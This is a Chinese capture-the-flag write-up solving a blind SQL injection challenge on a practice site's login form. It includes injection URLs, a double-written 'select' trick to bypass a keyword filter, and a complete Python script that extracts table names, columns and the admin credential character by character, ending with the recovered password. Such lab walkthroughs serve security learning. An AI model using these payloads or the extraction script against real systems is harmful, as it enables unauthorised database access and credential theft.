实验吧——看起来有点难(sql盲注)

题目地址：http://ctf5.shiyanbar.com/basic/inject/

首先当然是拿admin/admin来试试啊，多次测试发现，有两种错误提示

1.数据库连接失败！

2.登录失败，错误的用户名和密码

用户名为admin时都是提示"登录失败，错误的用户名和密码"，而为其他任何字符串时都提示"数据库连接失败！"，可以知道用户名存在注入，且这里为布尔盲注。

于是直接构造注入语句（表和列的信息都存在mysql的一个叫 information_schema 的数据库里，可以直接从这里面爆破表名，列名，通过ascii码和substr()文本剪切来一个一个字母猜解，只要and 后面的条件为真，那么就应该提示 "登录失败，错误的用户名和密码"）

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( select group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login

但是发现注入好像被拦截了

不过仔细看可以发现，这里只是检测了是否有select关键字，如果有则弹窗提示，而且过滤掉select，后台的sql语句便变成

不知道后台过滤逻辑是怎样的，这里先尝试双写绕过(有的过滤只过滤一次，过滤掉一个select后，剩下的又组成select)，http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login

虽然还是会提示不要注入，但我们的语句是执行成功了，所以提不提示无所谓

然后可以使用二分法慢慢手注，不过我当然是选择写脚本啦。。。

我发现访问这个网站很慢，跑的话需要太长时间了，于是脚本中我就去掉了不常用的字符，只保留字母数字和下划线还有逗号，其实想提高速度也可以用二分法，不过我懒得改了，直接放上我的脚本吧（写的很丑，见谅）

 1 # -*- coding: utf-8 -*-
 2 import requests
 3 
 4 strall='_,:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
 5 
 6 headers={
 7     'Content-Type': 'application/x-www-form-urlencoded'
 8 }
 9 
10 def func1():
11     result=''
12     for index in range(1,1000):
13         for i in strall:
14             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
15             print url
16             r=requests.get(url=url,headers=headers)
17             r.encoding='gbk'
18             if r.text.find('登录失败，错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
19                 result+=i
20                 print result
21                 break
22             elif i=='9':
23                 print result
24                 return
25 
26 def func2():
27     result=''
28     for index in range(1,1000):
29         for i in strall:
30             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(column_name) from information_schema.columns where table_name='admin'),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
31             print url
32             r=requests.get(url=url,headers=headers)
33             r.encoding='gbk'
34             if r.text.find('登录失败，错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
35                 result+=i
36                 print result
37                 break
38             elif i=='9':
39                 print result
40                 return
41 
42 def func3():
43     result=''
44     for index in range(1,1000):
45         for i in strall:
46             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( selselectect concat(username,':',password) from admin ),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
47             print url
48             r=requests.get(url=url,headers=headers)
49             r.encoding='gbk'
50             if r.text.find('登录失败，错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
51                 result+=i
52                 print result
53                 break
54             elif i=='9':
55                 print result
56                 return
57 
58 #func1()
59 #raw_input('ok')
60 #func2()
61 #raw_input('ok')
62 func3()
63 raw_input('done')

以前写脚本图方便确实没写二分法，也没觉得慢，因为访问网站的速度快，不一会就跑完了，不过这次真的跑了好久。。。

忍不了这速度的就直接上sqlmap吧

最后猜解出来了admin:idnuenna，拿到登录页登录即可